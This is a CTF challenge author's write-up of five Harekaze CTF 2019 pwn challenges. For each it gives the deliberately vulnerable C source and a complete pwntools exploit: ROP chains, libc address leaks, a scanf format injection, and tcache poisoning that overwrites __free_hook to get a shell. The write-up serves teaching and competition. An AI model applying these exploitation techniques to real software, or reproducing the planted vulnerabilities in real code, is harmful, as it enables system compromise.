h_nosonの日記

競プロ、CTFなど

Harekaze CTF 2019 Writeup for pwn challenges

I created 5 pwn challenges. These are the intended solutions for them.

Baby ROP [100 pts, 120 solves]

Source Code

// gcc -fno-stack-protector -o babyrop babyrop.c
#include <stdio.h>
#include <stdlib.h>

char binsh[] = "/bin/sh";

int main(void) {
    char name[0x10];
    system("echo -n \"What's your name? \"");
    scanf("%s", name);
    printf("Welcome to the Pwn World, %s!\n", name);
    return 0;
}

Solution

You can tell this can be solved by ROP from the title. And SSP is disabled.

$ checksec babyrop
[*] '/home/vagrant/ctf/harekazectf/2019/babyrop/babyrop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Two pieces of important information, a pointer to "/bin/sh" and address of system, are available. So we can simply call system("/bin/sh") by poping "/bin/sh"'s address into rdi and calling system in PLT.

#!/usr/bin/env python
from pwn import *

if len(sys.argv) == 1:
    s = process('./babyrop')
else:
    s = remote('problem.harekaze.com', 20001)

elf = ELF('./babyrop')

pop_rdi = 0x400683

payload = ''
payload += 'A' * 0x18
payload += p64(pop_rdi) + p64(elf.search('/bin/sh').next())
payload += p64(elf.symbols['system'])

s.sendlineafter("What's your name? ", payload)
s.interactive()

Baby ROP 2 [200 pts, 81 solves]

Source Code

// gcc -fno-stack-protector -o babyrop2 babyrop2.c
#include <stdio.h>
#include <unistd.h>

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

    char name[0x10];
    printf("What's your name? ");
    int len = read(0, name, 0x100);
    name[len - 1] = '\0';
    printf("Welcome to the Pwn World again, %s!\n", name);
    return 0;
}

Solution

SSP is disabled.

$ checksec babyrop2
[*] '/home/vagrant/ctf/harekazectf/2019/babyrop2/babyrop2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Address of system and a pointer to "/bin/sh" aren't available at this time, but we can solve it by the following steps:

  1. Set rbp to an address in .bss segment by overwriting the previous value of rbp stored in stack
  2. Leak libc address by printf(read's GOT address)
  3. Set rsi to the address + 8 which is set on Step 1
  4. Return to the main function right before calling read so that read(0, bss address, *) will be executed
  5. Send another ROP chain which executes system("/bin/sh") by using the leaked libc address
  6. leave in the main function will be called and execute the ROP chain in .bss segment
  7. We are on the shell

Several people asked me that printf(printf's got) printed nothing. It's expected behavior since the address of printf ends with 0x00.

#!/usr/bin/env python
from pwn import *

if len(sys.argv) == 1:
    s = process('./babyrop2')
else:
    s = remote('problem.harekaze.com', 20005)

elf = ELF('./babyrop2')
libc = ELF('./libc.so.6')

pop_rdi = 0x400733
pop_rsi_r15 = 0x400731
read = 0x400695

buf_addr = elf.bss(0x500)

payload = ''
payload += 'A' * 0x20
payload += p64(buf_addr - 8)
payload += p64(pop_rdi) + p64(elf.got['read'])
payload += p64(elf.plt['printf'])
payload += p64(pop_rsi_r15) + p64(buf_addr) + p64(0)
payload += p64(read)
s.sendlineafter("What's your name? ", payload)

s.recvline()
libc_base = u64(s.recv(6).ljust(8, '\0')) - libc.symbols['read']
log.info('libc base: %#x' % libc_base)

payload2 = ''
payload2 += p64(pop_rdi) + p64(buf_addr + 0x18)
payload2 += p64(libc_base + libc.symbols['system'])
payload2 += '/bin/sh\0'
s.send(payload2)

s.interactive()

Login System [250 pts, 4 solves]

Source Code

// gcc -o login login.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int getnline(char *buf, size_t n) {
    for (int i = 0; i < n; i++) {
        if (read(0, &buf[i], 1) != 1) {
            exit(1);
        }
        if (buf[i] == '\n') {
            buf[i] = '\0';
            return i;
        }
    }

    return n;
}

int main(void) {
    char csets[0x50], format[0x55], password[0x50], buf[0x50];
    size_t n;

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    // removed this line during the context due to connection issue
    // alarm(300);

start:
    puts("Create an account first.");
    printf("# of charsets: ");
    scanf("%lu", &n);
    getchar();
    if (n > 0x4f) {
        puts("Too big");
        goto start;
    }
    printf("charsets: ");
    getnline(csets, n);
    sprintf(format, "%%79[%s]", csets);
    printf("password: ");
    int result = scanf(format, password);
    getchar();
    if (result != 1) {
        puts("Invalid password");
        goto start;
    }

    puts("Account created. Please input password again to log in.");
    printf("password: ");
    getnline(buf, 0x4f);
    if (strcmp(password, buf) != 0) {
        puts("Incorrect");
        goto start;
    }
    puts("Successfully logged in.");
    puts("bye.");
    return 0;
}

Solution

The program reads password with scanf("%79[" + csets + "]", password). If csets is A]%s, the format will be %79[A]%s] and we can overwrite values on arbitrary address. Now, we need to know the addresses of libc and stack in order to overwrite the return address with one gadget RCE. Fortunately, there is a pointer to return address in stack, so we need only libc address.

csets can include address which is already in stack by filling until it. e.g. by inputting 'A' * 0x10, csets will be 'A' * 0x10 + first 6 bytes of libc address (actually, it's not libc address, but an address near it). We can know the set of bytes of the address by trying \x01~\xff as password and also the order of it by increasing the length of input.

For example,

  • Get [0x13, 0x3f, 0x7a, 0x7f, 0x98, 0xb7] by inputting 'A' * 0x10
  • Get [0x13, 0x3f, 0x7a, 0x7f, 0xb7] by inputting 'A' * 0x11
  • Get [0x13, 0x3f, 0x7f, 0xb7] by inputting 'A' * 0x12
  • Get [0x3f, 0x7f, 0xb7] by inputting 'A' * 0x13
  • Get [0x7f, 0xb7] by inputting 'A' * 0x14
  • Get [0x7f] by inputting 'A' * 0x15

then, the address is determined to be 0x7fb73f137a98.

Overwrite the return address with one gadget RCE by using the leaked libc address and get shell.

#!/usr/bin/env python
from pwn import *

def check(byte, offset):
    s.sendlineafter('# of charsets: ', str(offset))
    s.sendafter('charsets: ', 'A' * (offset))
    s.sendafter('password: ', chr(byte))
    res = s.recv(8, timeout = 0.1)
    if res == '':
        s.send('\0')
        s.sendlineafter('password: ', 'A')
        return True
    else:
        return False

def leak(offset):
    bset = set()
    p = log.progress('Leaking address')
    for b in range(0x100):
        p.status(hex(b))
        if b == 0x41:
            continue
        if check(b, offset):
            bset.add(b)
    address = 0
    for i in range(6):
        for b in bset:
            if not check(b, offset + i + 1):
                bset.remove(b)
                address += b << i * 8
                break
    p.success(hex(address))
    return address

if len(sys.argv) == 1:
    s = process('./login')
else:
    s = remote('problem.harekaze.com', 20002)

libc_base = leak(0x10) - 0x61aa98
log.info('libc base: %#x' % libc_base)

payload = 'A]%11$llu'
s.sendlineafter('# of charsets: ', str(len(payload)))
s.sendafter('charsets: ', payload)

one_gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
s.sendlineafter('password: ', 'A' + str(libc_base + one_gadgets[0]))

s.sendlineafter('# of charsets: ', '2')
s.sendlineafter('charsets: ', 'A')
s.sendlineafter('password: ', 'A')
s.sendlineafter('password: ', 'A')
s.recvuntil('bye.\n')
s.interactive()

Harekaze Note [300 pts, 9 solves]

Source Code

// gcc -o note note.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>

void timeout() {
    puts("time out!");
    exit(-1);
}

typedef struct Note {
    char title[0x10];
    struct Note *prev;
    struct Note *next;
    char *content;
} Note;

Note head;
int size;

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    signal(SIGALRM, timeout);
    alarm(60);

    head.prev = &head;
    head.next = &head;
}

void getnline(char *buf, int size) {
    int i;
    for (i = 0; i < size; i++) {
        if (read(0, &buf[i], 1) != 1) {
            exit(-1);
        } else if (buf[i] == '\n') {
            buf[i] = '\0';
            break;
        }
    }
    buf[size - 1] = '\0';
}

int getint() {
    char buf[0x20];
    getnline(buf, 0x20);
    return atoi(buf);
}

int menu() {
    puts("1. Create note");
    puts("2. Write content");
    puts("3. Show content");
    puts("4. Delete note");
    printf("Choice: ");
    return getint();
}

void create_note() {
    if (size >= 0x50) {
        puts("Too many notes");
    }

    Note *note = malloc(sizeof(Note));
    printf("Title: ");
    getnline(note->title, 0x10);
    note->next = &head;
    note->prev = head.prev;
    head.prev->next = note;
    head.prev = note;
    size++;
}

Note *find_note(char *title) {
    for (Note *p = head.next; p != &head; p = p->next) {
        if (strcmp(title, p->title) == 0) {
            return p;
        }
    }
    puts("No such a note with the title");
    return NULL;
}

void write_content() {
    char title[0x10];
    printf("Title of note to write content: ");
    getnline(title, 0x10);
    Note *note = find_note(title);
    if (note == NULL) {
        return;
    }
    if (note->content != NULL) {
        puts("You have already written content");
        return;
    }
    printf("Size of content: ");
    int size = getint();
    if (size <= 0 || size > 0x50) {
        puts("Too big");
        return;
    }
    note->content = malloc(size);
    printf("Content: ");
    getnline(note->content, size);
}

void show_content() {
    char title[0x10];
    printf("Title of note to show content: ");
    getnline(title, 0x10);
    Note *note = find_note(title);
    if (note == NULL) {
        return;
    }
    if (note->content) {
        puts(note->content);
    }
}

void delete_note() {
    char title[0x10];
    printf("Title of note to delete: ");
    getnline(title, 0x10);
    Note *note = find_note(title);
    if (note == NULL) {
        return;
    }
    note->prev->next = note->next;
    note->next->prev = note->prev;
    free(note->content);
    free(note);
    size--;
}

int main(void) {
    initialize();

    for (;;) {
        switch (menu()) {
            case 1:
                create_note();
                break;
            case 2:
                write_content();
                break;
            case 3:
                show_content();
                break;
            case 4:
                delete_note();
                break;
            default:
                puts("Invalid choice");
        }
    }
    return 0;
}

Solution

Commands:

  1. Create note: Input title and insert a new note into the last of list. content is uninitialized.
  2. Write content: Allocate heap memory with given size and input content into it. The input is null-terminated.
  3. Show content: If a note with given title is found, show its content
  4. Delete note: If a note with given title is found, free its content and itself in order.

There is a UAF vulnerability because content is uninitialized. By creating a note after deleting a note with content, we can leak address with "Show content" and double free with "Delete note". However, double free in tcache is prohibited from libc-2.29.

First, leak addresses, heap address from tcache list, address of elf file from the pointer to Note head, and libc address from read's GOT.

Next, overwrite linked list of tcache to point __free_hook by fastbins dup. malloc returns the pointer to __free_hook because the size of chunk isn't check in tcache. We can call system("/bin/sh") by writing system address to __free_hook.

#!/usr/bin/env python
from pwn import *

def create(title):
    s.sendlineafter('Choice: ', '1')
    s.sendlineafter('Title: ', title)

def write(title, size, content):
    s.sendlineafter('Choice: ', '2')
    s.sendlineafter('content: ', title)
    s.sendlineafter('content: ', str(size))
    s.sendlineafter('Content: ', content)

def show(title):
    s.sendlineafter('Choice: ', '3')
    s.sendlineafter('content: ', title)
    return s.recvline(False)

def delete(title):
    s.sendlineafter('Choice: ', '4')
    s.sendlineafter('delete: ', title)

if len(sys.argv) == 1:
    s = process('./note')
else:
    s = remote('problem.harekaze.com', 20003)

elf = ELF('./note')
libc = ELF('./libc.so.6')

create('A')
create('B')
write('A', 1, 'A')
write('B', 1, 'B')
delete('B')
delete('A')
create('A')
heap_addr = u64(show('A').ljust(8, '\0'))
log.info('heap address: %#x' % heap_addr)

create('B')
create('C')
write('C', 0x28, 'A' * 0x20 + p64(heap_addr - 0x70))
delete('C')
create('C')
create('D')
text_base = u64(show('D').ljust(8, '\0')) - 0x4080
log.info('text base: %#x' % text_base)

create('E')
write('E', 0x28, 'A' * 0x20 + p64(text_base + elf.got['read']))
delete('E')
create('E')
create('F')
libc_base = u64(show('F').ljust(8, '\0')) - libc.symbols['read']
log.info('libc base: %#x' % libc_base)

for i in range(9):
    create(str(i))
    write(str(i), 0x38, 'A')
for i in range(9):
    delete(str(i))
for i in range(7):
    create(str(i))
create('8')
create('7')
delete('7')
create('7')
for i in range(7):
    create('0' + str(i))
    write('0' + str(i), 0x38, 'A')
for i in range(9, 14):
    create(str(i))
write('9', 0x38, p64(libc_base + libc.symbols['__free_hook']))
write('10', 0x38, 'A')
write('11', 0x38, 'A')
write('12', 0x38, p64(libc_base + libc.symbols['system']))
write('13', 8, '/bin/sh')
delete('13')
s.interactive()

Ramen [400 pts, 2 solves]

Source Code

// gcc -o ramen ramen.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>

#define DEFAULT_SIZE 0x08
#define MIN_SIZE 0x02
#define MAX_SIZE 0x20
#define FLAVORS 5
#define FLAVOR_MAX_LEN 0x10
#define TOPPINGS_LEN 0x20
#define LENGTH(q) (((q)->size + (q)->tail - (q)->head) % (q)->size)

void timeout() {
    puts("time out!");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    signal(SIGALRM, timeout);
    alarm(60);
}

void getnline(char *buf, int size) {
    int len = read(0, buf, size - 1);
    if (buf[len - 1] == '\n') {
        buf[len - 1] = '\0';
    }
    buf[len] = '\0';
}

int getint() {
    char buf[0x20];
    getnline(buf, 0x20);
    return atoi(buf);
}

int menu() {
    puts("1. Order Ramen");
    puts("2. Serve Ramen");
    puts("3. Increase the number of seats");
    printf("Choice: ");
    return getint();
}

int next_power_of_two(int n) {
    int ret = 1;
    while (ret < n) {
        ret <<= 1;
    }
    return ret;
}

char flavors[FLAVORS][FLAVOR_MAX_LEN] = {
    "Soy Sauce",
    "Salt",
    "Miso",
    "Chicken",
    "Tonkotu"
};

int ramen_menu() {
    for (int i = 0; i < FLAVORS; i++) {
        printf("%d. %s Ramen\n", i + 1, flavors[i]);
    }
    printf("Choice: ");
    return getint();
}

typedef struct {
    long long eggs;
    long long porks;
    long long bamboo_shoots;
    char name[FLAVOR_MAX_LEN];
    char *others;
} Ramen;

typedef struct {
    Ramen *buf;
    int head;
    int tail;
    int size;
} Orders;

void init_orders(Orders *orders) {
    orders->buf = calloc(DEFAULT_SIZE, sizeof(Ramen));
    orders->head = 0;
    orders->tail = 0;
    orders->size = DEFAULT_SIZE;
}

void shrink_buf(Orders *orders, int new_size) {
    int head = orders->head;
    int tail = orders->tail;
    int size = orders->size;

    if (tail < head) {
        int n = size - new_size;
        for (int i = head; i < size; i++) {
            orders->buf[i - n] = orders->buf[i];
        }
        orders->head -= n;
    } else if (head >= new_size) {
        for (int i = head; i < tail; i++) {
            orders->buf[i - head] = orders->buf[i];
        }
        orders->tail -= orders->head;
        orders->head = 0;
    } else if (tail >= new_size) {
        for (int i = new_size; i < tail; i++) {
            orders->buf[i - new_size] = orders->buf[i];
        }
        orders->tail -= new_size;
    }

    orders->buf = realloc(orders->buf, sizeof(Ramen) * new_size);
    orders->size = new_size;
}

void expand_buf(Orders *orders, int new_size) {
    int head = orders->head;
    int tail = orders->tail;
    int size = orders->size;

    orders->buf = realloc(orders->buf, sizeof(Ramen) * new_size);
    orders->size = new_size;

    if (head <= tail) {
        // Nop
    } else if (tail < size - head) {
        for (int i = 0; i < tail; i++) {
            orders->buf[i + size] = orders->buf[i];
        }
        orders->tail += size;
    }
    else {
        int n = new_size - size;
        for (int i = head; i < size; i++) {
            orders->buf[i + n] = orders->buf[i];
        }
        orders->head += n;
    }
}

void order_ramen(Orders *orders) {
    if (LENGTH(orders) == orders->size - 1) {
        puts("Seats are full.");
        return;
    }

    int choice = ramen_menu();
    if (choice < 1 || choice > FLAVORS) {
        puts("Invalid choice.");
        return;
    }

    Ramen ramen;
    memset(ramen.name, 0, FLAVOR_MAX_LEN);
    strcpy(ramen.name, flavors[choice - 1]);
    printf("How many eggs? ");
    ramen.eggs = getint();
    printf("How many grilled pork? ");
    ramen.porks = getint();
    printf("How many bamboo shoots? ");
    ramen.bamboo_shoots = getint();
    printf("If you want other toppings, put them down: ");
    ramen.others = malloc(TOPPINGS_LEN);
    memset(ramen.others, 0, TOPPINGS_LEN);
    getnline(ramen.others, TOPPINGS_LEN);
    orders->buf[orders->tail] = ramen;
    orders->tail = (orders->tail + 1) % orders->size;

    puts("Done.");
}

void serve_ramen(Orders *orders) {
    if (orders->head == orders->tail) {
        puts("No order remains.");
        return;
    }

    Ramen *ramen = &orders->buf[orders->head];
    orders->head = (orders->head + 1) % orders->size;
    printf("Serving %s Ramen...\n", ramen->name);
    printf("Eggs: %d\n", (int)ramen->eggs);
    printf("Grilled pork: %d\n", (int)ramen->porks);
    printf("Bamboo shoots: %d\n", (int)ramen->bamboo_shoots);
    printf("Other toppings: %s\n", ramen->others);
    free(ramen->others);

    puts("Done.");
}

void increase_number(Orders *orders) {
    printf("Number of seats: ");
    int num = getint() + 1;
    if (num < MIN_SIZE || num > MAX_SIZE) {
        puts("Invalid input.");
        return;
    }

    int size = next_power_of_two(num);
    if (num < orders->size) {
        if (num <= LENGTH(orders)) {
            printf("Less than the number of remaining orders.");
            return;
        }
        shrink_buf(orders, size);
    } else {
        expand_buf(orders, size);
    }

    puts("Done.");
}

int main(void) {
    Orders orders;

    initialize();
    init_orders(&orders);

    puts("Welcome to Harekaze Ramen Shop!!");
    for (;;) {
        switch (menu()) {
            case 1:
                order_ramen(&orders);
                break;
            case 2:
                serve_ramen(&orders);
                break;
            case 3:
                increase_number(&orders);
                break;
            defalut:
                puts("Invalid choice.");
        }
    }
    return 0;
}

Solution

The queue has functionalities to expand and shrink its size. It works like the following: ("H", "T", "o", and "." represent head, tail, element, and empty respectively. The actual size of queue is a power of 2)

Expand queue

  • Do nothing
[H o o o o o T . ]
↓
[H o o o o o T . . . . . . ]
  • Move tail side if it's less than head side
[o o T . H o o o]
↓
[. . . . H o o o o o T . .]
  • Move head side if it's less than tail side
[o o o o T . . H o]
↓
[o o o o T . . . . . H o]

Shrink queue

  • Move head side to tail if tail < head
[o o T . . . . . H o o o o]
↓
[o o T . . H o o o o]
  • Move all elements if new_size <= head
[. . . . . . H o o T .]
↓
[H o o T .]
  • Move tail side if new_size <= tail
[. . . H o o o T]
↓
[o T . H o o]
  • Do nothing
[. . H o o o T . . . . .]
↓
[. . H o o o T .]

2 * old_size <= new_size should be true when expanding queue, but expand_buf can be called with old_size == new_size. tail goes out of the allocated buffer when expand_buf is called with old_size == new_size. The values outside of allocated chunk are copied as a queue element by shrinking queue after that.

[o T . . . H]
↓
[. . . . . H] o T
↓ copied
[H o T .]

By freeing the next chunk which is big enough, address to bins in libc is stored in it. And it's copied as a queue element by shrinking queue. Now we know libc address.

Next, create the following condition again and by poping elements,

[. . . . . H] o T
↓
[H o o o o o] o T
↓
[. H o o o o] o T

We can free forever → tcache dup. At last, overwrite __free_hook with system and call system("/bin/sh").

#!/usr/bin/env python
from pwn import *

def order(toppings='A', eggs=0, porks=0, bamboo_shoots=0, flavor=1):
    s.sendlineafter('Choice: ', '1')
    s.sendlineafter('Choice: ', str(flavor))
    s.sendlineafter('eggs? ', str(eggs))
    s.sendlineafter('pork? ', str(porks))
    s.sendlineafter('shoots? ', str(bamboo_shoots))
    s.sendafter('down: ', toppings)

def serve():
    s.sendlineafter('Choice: ', '2')
    s.recvuntil('Serving ')
    name = s.recvuntil(' ')[:-1]
    s.recvuntil('Eggs: ')
    eggs = int(s.recvline(False))
    s.recvuntil('pork: ')
    porks = int(s.recvline(False))
    s.recvuntil('shoots: ')
    bamboo_shoots = int(s.recvline(False))
    s.recvuntil('toppings: ')
    toppings = s.recvline(False)
    return name, eggs, porks, bamboo_shoots, toppings

def change(num):
    s.sendlineafter('Choice: ', '3')
    s.sendlineafter('seats: ', str(num))

if len(sys.argv) == 1:
    s = process('./ramen')
else:
    s = remote('problem.harekaze.com', 20004)

libc = ELF('./libc.so.6')

change(0x1f)
for i in range(6):
    order()
change(7)
order()
serve()
order()
serve()
order('A', 0, 0x4b1)
change(7)
for i in range(5):
    serve()
change(3)
serve()
libc_base = u64(serve()[0].ljust(8, '\0')) - 0x3ebca0
log.info('libc base: %#x' % libc_base)

change(7)
for i in range(0xd):
    order()
    serve()
order()
change(7)
for i in range(3):
    serve()
change(0xf)
order(p64(libc_base + libc.symbols['__free_hook']))
order('/bin/sh\0')
order(p64(libc_base + libc.symbols['system']))
serve()
s.interactive()